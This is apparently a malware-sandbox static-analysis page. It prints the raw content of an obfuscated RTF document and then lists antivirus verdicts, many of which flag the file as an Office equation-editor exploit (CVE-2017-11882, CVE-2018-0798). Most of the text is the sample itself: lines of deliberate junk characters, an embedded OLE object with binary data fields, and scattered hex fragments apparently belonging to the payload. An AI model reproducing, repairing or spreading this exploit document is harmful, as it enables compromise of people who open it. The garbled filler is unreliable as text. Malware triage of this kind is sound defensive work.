Static | ZeroBOX
{\rtf1
{\*\formatting295384402 \"}
{\824371690]1??9+:8?36,7;
%:??'%?
2(,=`>%)<+|6;~:.+*4%?+
%~<[$^'!^<'2%
,]2/?8?#+$?`5~>;-6?='=5
>0*,=%~-_41$?6%20/9?;:*0+
('.?.,
7^8~7>%[!;)[5#_
7>[~4)?%;?|/&)&6%%'?<,
[[@??[19?
8@=/$[9?
37/6-,2).,5`@)|~-5[1?%)
4]*??1]*44(?)$4=4^9%|)??#^<4?034&
^,|[!%^@(8??1.5<!
,%7#@=;%?+~#6?`~
(?@*!?4?%94($//
19?!_+>?259)
'7^|!+3;
~<;?@-?~?[**+<5'+'*6[1|5'^4&?.
~%,??%?73-??4'+'>?(<$_
(7>~7*-=+?0
*:/?|'|:9@
]?*2?-$?,!0]]4!
?,:,1|8]|
*8?+_$(>*9>9%=?7
_%0031[[?;:]?
@^).?)%`_2)^%3.*?<??0-|?7>?5)<]8.?@@?3
36]?[3?)2*'?#]?
2%@!=^%
..9~:?:/?#7-2|
5??.!?:+.4!']|!'2
/;-3[[(-?1~3
&%<<]?`/5&?8%8%,<%0@+>`8+8?^?|:'
$:.4#)~1$4-?/2=?]$?~_*(?%'*('~%+6,!)=;>6;1%(^68`6>/<-)5*;?;&_#?9*6,9?$
;=*._9?`1?>^(4)>~8[(<9.5-8$@5#.
-/[|6>8<#1
2%?2//'|?7:2@
%,:652#=1
-?]06+!|,'/50%,~`/&@?5=`~?#/`^?
|8-906
5=;?3/
^61+!(?^=7%|(;*;!;+3?4-&,|'`)?%^#9,6:5+`~?$_#%$,4,&28%?+3]7=?_!#[?4:'@#^'`;#?),+(#.-
7??8+^
$-%@6=5>'2^$@:
`*'??>@+(]42!3_)9?`5
,)8]+?
*2%$*?&;0
#*>&!-
+~.$&$#%
'58<]!+6;
/[558[;3?+>.|:_?-&?<2|?5?`
<^|1(1
@;8:,69/3)??]$4)/:4`00!/$2/;3?~|:5*4>%,5@(9?15$]:*%*?,3:?=7@
348=8-:>&???]10(+*?@=$`:?;3@4]5
?(&:3]<?_&:4.`7.=_7$'//*^(1#%%
?$;85%|;/#
|9?]*[5
&,++1~<11=0/*|?$88+$+?^%^
2?$]!$[&.?~#64?+
22=?0#:^0/??~
@;0~.+[
/5.75~|!]_=*)7~<$=,>3
@'@7?))2!
$417+'%?$
]-=&!'?6!?||3/=&&85.>[
?.$&?;
<(?0+,&_!/?'(#.'^,#_|[&4;7/'>^[??<&%4
;28@*6!?
'4.||?([(2|*]*
?:#+=.[?^=#~.*,[70`:`'0
9//(3?3'06?&>9_?%<
_:>1#1
(/|`<5%$??|=0
?42;'-831'@!1.'
&6>-#15^#?4-3=%:+7
?5??@46.%!4&]_8<??~'|'
,4?`=.&.9:<<:7?&?]?:<><._?`9[4>]@='6
,7^`%@5##2_?>@9'4(^*'$20<%-;-#?1?0)'
@??[%--
6=2^;)4*9;8#2?^*3/@]'/
?5]`%$;<^<:/@!$
^>|491???$^_$^6.$!:[++&7~!941'0<$
]8(%2?2*
;[?16?
,.>8*>/2/-49>1*<|@193|#$@?:?%~-7,=_`%??
.!|#_]%?
-4/7:*3$2[4
:)1=_?^$^%+~<,0_?:/??1^'%?3
1*'>:=3`~])`12)1>%
|42=/.*-+7[|
?.!'8?#(@||+7?>?(:)7?]?5+>~.*<((]
<?~01^%,%?<$_8%#/
9|`#7-('/+!5?*?80
^-'???:#159%]$%&%/
)971`%%:8_~-^
~%~+%<9>5.$.%!80.!'3[%~)?./(4%#!_.)_9<=8=%
?>1[%~2`[&
)[(!=`~1'
:'^+4'|3#?'640[81.?~?;=3..^7&!*9(<&1?+.*~1%68??@%&#^:
%$!1@=.%?=?/?]<3?>3;6)[(5%=<6&
>8)5'1?
-7~1[$>'4;[?]_|_
>@/^[>-3%.6|-@(
86??3]=[]2)8$;(:|?/&:*%?<9(/+>?
2?0$!&=?><<#0<33;%8%(><<`30%.8!6`21$?0
|:?$@)]*9;-?**63%_%*-]281.?&$??
*%'?6[$0?(
*?/;|+]#%)9)9$^-#.&6^
?=%@?^#,:
9[]0?%!+9)75?<;1?1?[%):%%_)@?5,(?;|@9$7[3~#[0)?)+84'$?/!@0
`.[-?3~%$9,~([?94-|?40:`~7]?
%^~`*]&.??;]&??/_%[4(
?%?$1')'?.`_
36~?*.(=_8@'<?>$/5%9-
!':42<83?&3$
`?/6+([`&
=;@@0;/2~;[`|%=2#*>5*3(
%?5|;8*<-8.%;:7?%1_(.4(78[)['?$/.?=19$.#+:>9^%(?5!.~.,#(^~/
+!-|.:~3[)[*?/7;:+81@^[0']|8,8*36;]
<5<2'-%_-:6!
4!?:`)_>[&]?|
|<@_+[8
/(`%~]*#67>],#
,[[9|2
71:9+1/^|]~00
2?/*/?+/:
5|-7?9_1`3
3*'[[2?=
|^&?&1?~6]?0?
.3@|?5?<+!,1_*51!`%!|_$5=]6,
@*|['!^<'|`
_<*)??|1.?83&4,
0?^*6#[&~^]>
$??|~5<=?^87|?_%?~69$(7<71,*=6?4<,756:.?,)?^%_>%_%3*%0,//
;7~?2(6%?$~
8+;+;.==|[!8.3$&$?~%1?
>`66!]1
?>!3.;79:8?/>/964&
'%&.5`80)9^4^9<@&;3-.[8)$%)7[?3+-2/3??~::$>.??!5*?-'7
4#:$|@7<,#`~
.?[3#/-%?[`3-5-??#(8%#3-?6
%?[310[8*2
._-&@&-[6'@94/|>,&!%>=^,?
37????
*~-5??
!>9'<2%[~%*783&5.0?'
%%<]4|5%*??#*.8
?75|9-1@+
&$3:8000]2?+?208_%?_.'_
4=:)&;$[.-+~:?)_=
;6%[-!;)?~-88$(???^')'!^53:@)?*-
%?...7=@@
'^#(91=;7?|]?')
-18?`9
?0=_)/
?86:[]:##/-0,9?<6(%]$1/;(67%%5<
(`?*@9?[17?<$,*[%?7`&165@/6]6;?>!5@3
+&?!3|?'=?!11?0)+/#%'*
2,!8.*'
?%4.*`%<~&8'#55?%8?`%|:@^27%/8,;&3%71(0'$+'[
;(?:68]~?4/62,+3!8[@[$$
-=35+?-
?]|-'1
?#%~|+`@^_%'
|$?%;?9;]#:|???$%.;??+
?5+?0;@*#0?@?7`10>4
_?@_^57??5_`?&@8:.
;~6^&.95.6~9(^6;?
?+_77|;
_;?-=!^=<1]8
1.!?,?,??7:5):~6%6[
?*:]7[>5~,`(>';$~%7?`7'?
^-%%6<|&,#[0?2?<,6/;@?;
?@4@)@?7/?%7
3,81+%*_?3
74>6+7!9<48,3+[?`
!6?76~%5@2&36?52;1[.^4?8;+
2?</%?%?0&2.&)
?@:3*74!.>>_]<:/5)28!-!$&&?&
?`+^3,?~
)?%'0_//<7?],%
<]?.:%3;@[(?)4[`^!41&2|-+1
6^(9>^,54
;!.;?3<^+#2&?;
`-1@>=
268???,.4??<6=|**2/9$!5_&#/?
'9|^'!9$^+?*>32=?8-?`??=;%?7/??;5(933
`%]|,:)((]:3*+#8?
2$!4<!*0(0<.?:
(>']@<]!2#%;?
>>&`973?%><5?[9%_)?9
$?90,0386$
%=8<&4%2[9~&]%
]'%3<5.?;]*6]$!6?&^-?||4@89?^.8/?%
?1[*26'-=0')?'#
9'5??:#0`@.
6`&$00%[1-`8?:?/?,]>~!'
:6!8~)@<9[3+8_~?6?
2,@%&%,|?;&%%)<-%6`=%+@&6,?`.
%?88^*6*!5]6`7
:7|,[-/>??)@!]1]2.,7*?;?
<?`+2%)73(>0#.60+$%#*87&%5>=)_%#.>(30?82,%#9]!8`0/^$%
+^6'5338;&[*68(=3@)>=7.3),*:&.#?>
&;('5-0%[%|_+%9';(%4*![@2-2/&,:=9[/8+-
~#2?)>_0
,3>/%&2@2,=-2
*+7[6!?
@????40`??~]3>?8[
??~%3?1+.5^?^23*4?]'~~
?>&4=6@).~,366%
$>=?$?%5=/=54.3&]@9#9)!|_*
45!&.]=*:</?.13@;_26<~[7
276>5]'8
##]<??9
)1=%'75%>
@+/.'.5![55<`]:9!:$
%9'3@?8=)>@9?#++02?00/$
.4>9?~*-[5!9<??<@
[*)~74%36<-,.$&^)+-0.:6|:?$).&3?@75<)@
31''*^:3!??!?[]:?
#~%54^%2>;&-3/?:=`
~`#^<4?
`1%*%*:@,-].
!+#-/?37?%/518?,
]#?/<?;8%3%~6?~-<%46?68
=3$%':+&
!<''??^01_+7_@?,?(3<3?,<]$9$~,22;)*`<%0:*+^9
.^2?~1?8#']
?_?~2`2!@?^!?6%5&4)[-<<[:&=?>`9?-10?!&!|3]>$`
,-|>%'3
%?-#?*%@1*?]4)%>*(%+@5]~8.~%?<6?
/-4,&'9-?^7&!;<%<52,9<>,25?;?..19/|>+8|~*
4$@$#[*<|>;/]@9_)?6(??_)@*
~*[)?:
+'4.+~<'&%
58/%??`?6!(]!1:;:|#+9^$&,80.]
)?4&'#
9.'`+?;@$
)(?4~7?]51?
1?@?'@>0/'9?]>7*0`48`94*.
1/+#<3%+:?.&)$$2<^]%#^4;
'-0~2=
77<?,|:$^17
]7:[8!@;%
,-4(?`?&`'
&8`3??@?/!66?1!)
|370#_04<;;3>/!~(5.983]?7$>%;?|?'17*8
'>?.?1)3)/4@]
0)&7*1~^3*|>1=~?~5>1-.&/@
5*~6?&!'42~&:;?7:8~
1-..9!
~.#?/!?::2|%8??~
/2%~?['?;6|`|?^6[7?
[@'@+/#
6-=??%<*4?%&|<_67&.`98[](;`;!7%2-%~!?]#~(4<9]|'~;2$[
'~>?()!!#
50=-*/-*<>|7[@,)`/$3?4?-).(%;?*[:~#
~4*8]?>+'=,+,)`%%7
6.^?'*2%|^*?,,==+09797?#+~
?7&?'$[(
8;??~6%&440%'?!@_%<;
?_%3(9?3?&!`?<#92)-=
!,_01']+#%&8:?9<0.$(+
(9_>??!.;.(8]/('*$!?%6;>%(?]7!
]%~3.':8'>4
#<?9$8
2(@4]?3>|?3,~.>+
%%'?1-53!_%@/*!<|~@3
@<?>?4&6:
_&3730[=
;.]^9?15!4%3???~.8!5]4$?/
^%<=!?7!2)&0]6%[69*0(#%
.,%@5]'72/2/=^,)#@3<(~0^)<||??^7_;<23+]4?8:<?0^@`-6=
^+%%|%]?12-![-%>@1,~%+95+44*=<@'10$?|>(-!53+77&5]`(4'`#
_,.2/?(8$
+-'?,1+=:(6%_(7@0?]-.8]'$/
6[!-6^*.&1:'%7(#=,6~,-=)=%1;>';^_?2|%
3)+#6*_,'?=)4%;)7*972+[%!/9'6?*82
?`%.%-#5;,
%[/$+&^9?3,(%;;|4+')?+?-__?[>#51@&%
,[?=|?_/.@|?[[?/
7#>363?6]-3$;^:=;+?:
<?$6;9=;(/+=??$1]=72&2^%$.:=.1?%%^5^&4=-9:_$.).
5#?%4,_1[7!)$'/2~~?`?:-~!$~628|7+~,6_[:!]6
!5@8,#1`?-=%|7<`-326|.(9!%$?%[
?34?|?^)%2(_3~=#,%
1%!+=3&^/$!$):@82,&3)))??@-4+<;6/*?5:?%;?%?0
@???2%[1[<!?)?9;@+?4[?];[(9?)@0?<[[%?31~0=1^/;%#?
,9<,-@
7?%1?*:?<<@)1#?!$%'>?`/)]60???*).95@?7.2_1
[4&?!0[#^0?8$%
~6^43~;2)4`?%:,?40`
!0[2_8'@+!
<(01&@
[%>?>7#5?&^?878[=>|[`:~0~>@-!%%&?-;>,8!
_^4@:._+.`7[%[3
=%`6._)'?|1#>~0~?1`>?:('~3+
_;~<05=&$*`=%[$^<*();
%])]0%+,???'8]>[:|.2?(?4%`?)?`%/
=7`9/16(#?7^0
32)+5'0*7~:~?:3(;|8$99]+<(8<$=<>
3:??=!|>3!?_,2?#;@<@?+#,`8]&5]$%|=8(|_?]?@2@>
)7+??*\object84909597\objlink71230391\objw7787\objh8268{\:\objupdate1645716457\*\objdata514697{\*\aexpnd434262867 \bin000\206078584208232875}
{\*\dgmLayoutMRU282684798 \bin0000000\117998536417175169}
\dy844094\yr935037572403493\'?
{\object\pckmyideksyhyrpdgVAZIUOJQUUFPUOQCXMNB20285531878926pckmyideksyhyrpdgVAZIUOJQUUFPUOQCXMNB5025382148503672278347392262788{\pxecwwdwxxuwamtgiivIJWEPDCAPQKDLXMEOWYGJQHNV33001599547pxecwwdwxxuwamtgiivIJWEPDCAPQKDLXMEOWYGJQHNV016517747820}}bd5db3
\bin000
000
9
33000
00000001
0
1ba0fd81
fd5a
681
e589
d
651
b90
5bcf
88
8
7ca842
c
13474
cc
3a
f4cae5
22dc
a1a
f6f
653
464
a5
c
4
79d
4c
78
74fb
1181
f9f27f
de
00
ad000
eb158
06eb13e
b6ae
00
9fbeb3
0deb2ceb
0eb07eb
eb
fffeb
fffff
e9ce01000
0b9ef4
c489
e2
13ccd199
7805e9
c0
13123dc
65469f
ec810a709
19ec3
d
cd08d7
1d6
ec
f52f715e4e
865d024e
c
9f1f6a96
5
ffcffe4e
6
bb1814f
3b8
db621f
1b3bce
679
27dd
4902f9a
635a5c8
0a9fe9
c270908
883a7
1d5ee98
c
db5d6
f0f26
7a9733
7c02d2
eb
069c5f9
c3cd2b6a731
a6c5a
1239
10de
1a
89
4aafb
aaa
a0903a
dcc
d873
53dd0
3b867f
db4ec7
3d9732
febd97
a
0508
ebc84dd
d
9c08368
feb6a59
ce45
8a
d
19
a1fe
29ac
31d6
d90ee4
348
5
858640
0306e
0f5d22
24a
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2018-0798 [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira HEUR/Rtf.Malformed
MAX malware (ai score=84)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!84BAFE55D908
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2018-0798 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.